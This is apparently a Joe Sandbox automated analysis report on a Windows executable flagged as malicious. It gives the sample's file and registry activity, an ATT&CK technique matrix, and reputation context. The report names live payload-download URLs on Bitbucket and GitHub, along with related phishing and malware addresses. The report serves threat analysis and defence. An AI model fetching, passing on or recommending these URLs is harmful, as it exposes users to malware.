Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Code function: 0_2_00007FF6975A8964 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,GetTickCount,QueryPerformanceCounter,

0_2_00007FF6975A8964

Source: C:\Users\user\Desktop\OTO2wVGgkl.exe

Code function: 0_2_00007FF6975A2C54 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,

0_2_00007FF6975A2C54

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	11 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	12 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Registry Run Keys / Startup Folder	211 Process Injection	1 Software Packing	Security Account Manager	27 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	Login Hook	1 Registry Run Keys / Startup Folder	1 Timestomp	NTDS	21 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	51 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	51 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	211 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
OTO2wVGgkl.exe	11%	ReversingLabs
OTO2wVGgkl.exe	21%	Virustotal		Browse

Source	Detection	Scanner	Link
s3-w.us-east-1.amazonaws.com	0%	Virustotal	Browse
bitbucket.org	0%	Virustotal	Browse
raw.githubusercontent.com	0%	Virustotal	Browse
bbuseruploads.s3.amazonaws.com	3%	Virustotal	Browse
18.31.95.13.in-addr.arpa	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://aka.ms/winsvr-2022-pshelp	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore6	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://bitbucket.org/rulmerurk/ertertqw/downloads/po06.txt	2%	Virustotal		Browse
https://bbuseruploads.s3.amazonaws.com	1%	Virustotal		Browse
https://web-security-reports.services.atlassian.com/csp-report/bb-website	0%	Virustotal		Browse
https://dz8aopenkvv6s.cloudfront.net	0%	Virustotal		Browse
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://g.live.com/odclientsettings/Prod1C:	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	0%	Virustotal		Browse
https://raw.githubusercontent.com	0%	Virustotal		Browse
https://cdn.cookielaw.org/	0%	Virustotal		Browse
https://aui-cdn.atlassian.com/	0%	Virustotal		Browse
https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723	3%	Virustotal		Browse
https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735	0%	Virustotal		Browse
https://bitbucket.org	0%	Virustotal		Browse
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	0%	Virustotal		Browse
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s3-w.us-east-1.amazonaws.com	16.182.70.97	true	false	0%, Virustotal, Browse	unknown
bitbucket.org	185.166.143.48	true	true	0%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.111.133	true	true	0%, Virustotal, Browse	unknown
bbuseruploads.s3.amazonaws.com	unknown	unknown	false	3%, Virustotal, Browse	unknown
18.31.95.13.in-addr.arpa	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bitbucket.org/rulmerurk/ertertqw/downloads/po06.txt	false	2%, Virustotal, Browse	unknown
https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723	true	3%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.2514235788.0000019449F9E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000008.00000002.2340710949.000001943E12B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943EC6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943F7BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943F4D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943F794000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bbuseruploads.s3.amazonaws.com	powershell.exe, 00000008.00000002.2340710949.000001943DEED000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.2340710949.000001943E12B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://go.micro	powershell.exe, 00000008.00000002.2340710949.000001943EC6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943FB37000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://web-security-reports.services.atlassian.com/csp-report/bb-website	powershell.exe, 00000008.00000002.2340710949.000001943A328000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://contoso.com/License	powershell.exe, 00000008.00000002.2514235788.0000019449F9E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000008.00000002.2514235788.0000019449F9E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://aka.ms/winsvr-2022-pshelpX	powershell.exe, 00000008.00000002.2340710949.000001943EC6E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943F7BA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943F794000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.2293868995.0000025084720000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr	false		unknown
http://crl.ver)	svchost.exe, 0000000A.00000002.3436851309.0000025084884000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore6	powershell.exe, 00000006.00000002.2635327490.00000188234FD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dz8aopenkvv6s.cloudfront.net	powershell.exe, 00000008.00000002.2340710949.000001943A328000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://github.com/Pester/Pester	powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false	0%, Virustotal, Browse	unknown
https://raw.githubusercontent.com	powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	true	0%, Virustotal, Browse	unknown
https://bbuseruploads.s3.amazonaws.com/4be491a4-012e-46db-bc28-27fee082b0f0/downloads/74ccc5a3-8670-	powershell.exe, 00000008.00000002.2340710949.000001943DEED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	powershell.exe, 00000008.00000002.2340710949.000001943A328000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.2340710949.000001943E12B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.cookielaw.org/	powershell.exe, 00000008.00000002.2340710949.000001943A328000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://contoso.com/	powershell.exe, 00000008.00000002.2514235788.0000019449F9E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.2514235788.0000019449F9E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aui-cdn.atlassian.com/	powershell.exe, 00000008.00000002.2340710949.000001943A328000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;	powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735	powershell.exe, 00000006.00000002.2635327490.0000018823A7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2338162714.0000019438316000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2338796491.00000194384F4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943E611000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.0000019439F31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2339496899.0000019439D60000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2338162714.0000019438290000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2338162714.00000194382A5000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	true	0%, Virustotal, Browse	unknown
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	powershell.exe, 00000008.00000002.2340710949.000001943A328000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.000001943A15A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://aka.ms/pscore68	powershell.exe, 00000006.00000002.2635327490.0000018823550000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.0000019439F31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.2635327490.00000188234E7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2340710949.0000019439F31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bitbucket.org	powershell.exe, 00000008.00000002.2340710949.000001943DEED000.00000004.00000800.00020000.00000000.sdmp	true	0%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.166.143.48	bitbucket.org	Germany	16509	AMAZON-02US	true
16.182.70.97	s3-w.us-east-1.amazonaws.com	United States	unknown	unknown	false
185.199.111.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527751
Start date and time:	2024-10-07 09:32:16 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	OTO2wVGgkl.exe renamed because original name is a hash value
Original Sample Name:	63af3844e6d0a5fa89da17713ce1fb59.exe
Detection:	MAL
Classification:	mal100.spre.expl.evad.winEXE@15/13@4/4
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 95% Number of executed functions: 44 Number of non-executed functions: 29
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, e16604.g.akamaiedge.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1776 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:33:15	API Interceptor	41x Sleep call for process: powershell.exe modified
03:33:23	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.166.143.48	https://tiotapas.com.au	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	envifa.vbs	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse
	https://www.getcoloringpages.com/coloring/359	Get hash	malicious	Unknown	Browse
	SX8OLQP63C.exe	Get hash	malicious	VjW0rm, AsyncRAT, RATDispenser	Browse
	Leer documentos confidenciales anexos por parte de la Corte Suprema De Justicia.vbs	Get hash	malicious	Unknown	Browse
	scan_documet_027839.vbs	Get hash	malicious	Unknown	Browse
	UBONg7lmVR.exe	Get hash	malicious	Unknown	Browse
	Notificacon Documneto (2).vbs	Get hash	malicious	Unknown	Browse
185.199.111.133	na.rtf	Get hash	malicious	Remcos	Browse
	na.rtf	Get hash	malicious	Remcos	Browse
	na.hta	Get hash	malicious	Cobalt Strike	Browse
	http://mr-zkpak47.github.io/Netflix_Front_Page	Get hash	malicious	HTMLPhisher	Browse
	http://sachinchaunal.github.io/Netflix-Clone-Old-Version	Get hash	malicious	HTMLPhisher	Browse
	na.rtf	Get hash	malicious	Unknown	Browse
	http://ravichandra1816.github.io/Netflix-clone	Get hash	malicious	HTMLPhisher	Browse
	MKWbWHd5Ni.rtf	Get hash	malicious	Remcos	Browse
	Windows PowerShell.lnk	Get hash	malicious	Unknown	Browse
	Bootstrapper V1.19.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	k4STQvJ6rV.vbs	Get hash	malicious	XWorm	Browse	185.199.108.133
	Request For Quotation.js	Get hash	malicious	AgentTesla	Browse	185.199.108.133
	PO.78NO9.xls	Get hash	malicious	FormBook	Browse	185.199.108.133
	Company Profile.vbs	Get hash	malicious	Unknown	Browse	185.199.108.133
	ls6sm8RNqn.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.111.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.111.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
s3-w.us-east-1.amazonaws.com	http://tkweb.life/	Get hash	malicious	Unknown	Browse	52.217.0.204
	http://coinbassewalletextensin.gitbook.io/us	Get hash	malicious	Unknown	Browse	52.217.120.97
	http://ravichandra1816.github.io/Netflix-clone	Get hash	malicious	HTMLPhisher	Browse	3.5.21.123
	http://www.auth.coin-cloud.info/	Get hash	malicious	Unknown	Browse	52.217.13.180
	http://www.auth.coin-cloud.info/	Get hash	malicious	Unknown	Browse	16.182.32.121
	https://pub-8dc94ac03e5a4ccc9206980dbd33a882.r2.dev/ddd.html#3mail@b.c	Get hash	malicious	Unknown	Browse	3.5.25.154
	https://syncmart.shop/	Get hash	malicious	Unknown	Browse	3.5.30.83
	http://syncmart.shop/wap/	Get hash	malicious	Unknown	Browse	54.231.229.217
	https://djisaji.cc/	Get hash	malicious	Unknown	Browse	54.231.203.1
	http://www.tkmall-wholesale.com/	Get hash	malicious	Unknown	Browse	3.5.29.123
bitbucket.org	https://tiotapas.com.au	Get hash	malicious	Unknown	Browse	185.166.143.48
	GGLoader.exe	Get hash	malicious	Laplas Clipper, SilentCrypto Miner	Browse	185.166.143.49
	file.exe	Get hash	malicious	Unknown	Browse	185.166.143.48
	sostener.vbs	Get hash	malicious	Njrat	Browse	185.166.143.50
	sostener.vbs	Get hash	malicious	XWorm	Browse	185.166.143.50
	0XVZC3kfwL.exe	Get hash	malicious	Unknown	Browse	185.166.143.49
	nTHivMbGpg.exe	Get hash	malicious	Unknown	Browse	185.166.143.50
	sRMytgfRpJ.exe	Get hash	malicious	RedLine	Browse	185.166.143.49
	envifa.vbs	Get hash	malicious	Unknown	Browse	185.166.143.48
	sostener.vbs	Get hash	malicious	Njrat	Browse	185.166.143.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	http://pub-873fc6a3edb941c6a17f50911dfca518.r2.dev/dbm.html	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	http://pub-a81aa4bbf83846b8a892985d5bbc3a6f.r2.dev/pppindex.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://joeandvelma.wixsite.com/my-site/	Get hash	malicious	Unknown	Browse	199.232.188.157
	http://pub-21beea42d44e4f0e83b5336b9ac3900a.r2.dev/woosf.html	Get hash	malicious	Unknown	Browse	151.101.194.137
	http://alaindemeuron.wixsite.com/my-site/	Get hash	malicious	Unknown	Browse	199.232.188.157
	https://pink664912.studio.site/	Get hash	malicious	Unknown	Browse	151.101.2.109
	http://pub-7ccd9eed2f7746f0844d3881a62a4c3f.r2.dev/blob%20(1).html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	http://zlraatonlinefirsatnoktalar.xyz/	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://login-att-com.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.65.46
	Farahexperiences.com_Report_52288.pdf	Get hash	malicious	Unknown	Browse	151.101.129.44
AMAZON-02US	http://pub-873fc6a3edb941c6a17f50911dfca518.r2.dev/dbm.html	Get hash	malicious	HTMLPhisher	Browse	35.156.224.161
	http://pub-a81aa4bbf83846b8a892985d5bbc3a6f.r2.dev/pppindex.html	Get hash	malicious	HTMLPhisher	Browse	3.72.140.173
	http://joeandvelma.wixsite.com/my-site/	Get hash	malicious	Unknown	Browse	99.86.4.125
	http://pub-21beea42d44e4f0e83b5336b9ac3900a.r2.dev/woosf.html	Get hash	malicious	Unknown	Browse	3.72.140.173
	http://alaindemeuron.wixsite.com/my-site/	Get hash	malicious	Unknown	Browse	99.86.4.125
	https://pink664912.studio.site/	Get hash	malicious	Unknown	Browse	3.161.82.86
	http://pub-7ccd9eed2f7746f0844d3881a62a4c3f.r2.dev/blob%20(1).html	Get hash	malicious	HTMLPhisher	Browse	35.156.224.161
	http://advertising-copyright-review.d2taqiqjh5pjw0.amplifyapp.com/	Get hash	malicious	Unknown	Browse	65.9.66.32
	http://tkweb.life/	Get hash	malicious	Unknown	Browse	52.217.0.204
	https://login-att-com.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	44.236.126.52

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	http://pub-21beea42d44e4f0e83b5336b9ac3900a.r2.dev/woosf.html	Get hash	malicious	Unknown	Browse	16.182.70.97 185.166.143.48 185.199.111.133
	http://advertising-copyright-review.d2taqiqjh5pjw0.amplifyapp.com/	Get hash	malicious	Unknown	Browse	16.182.70.97 185.166.143.48 185.199.111.133
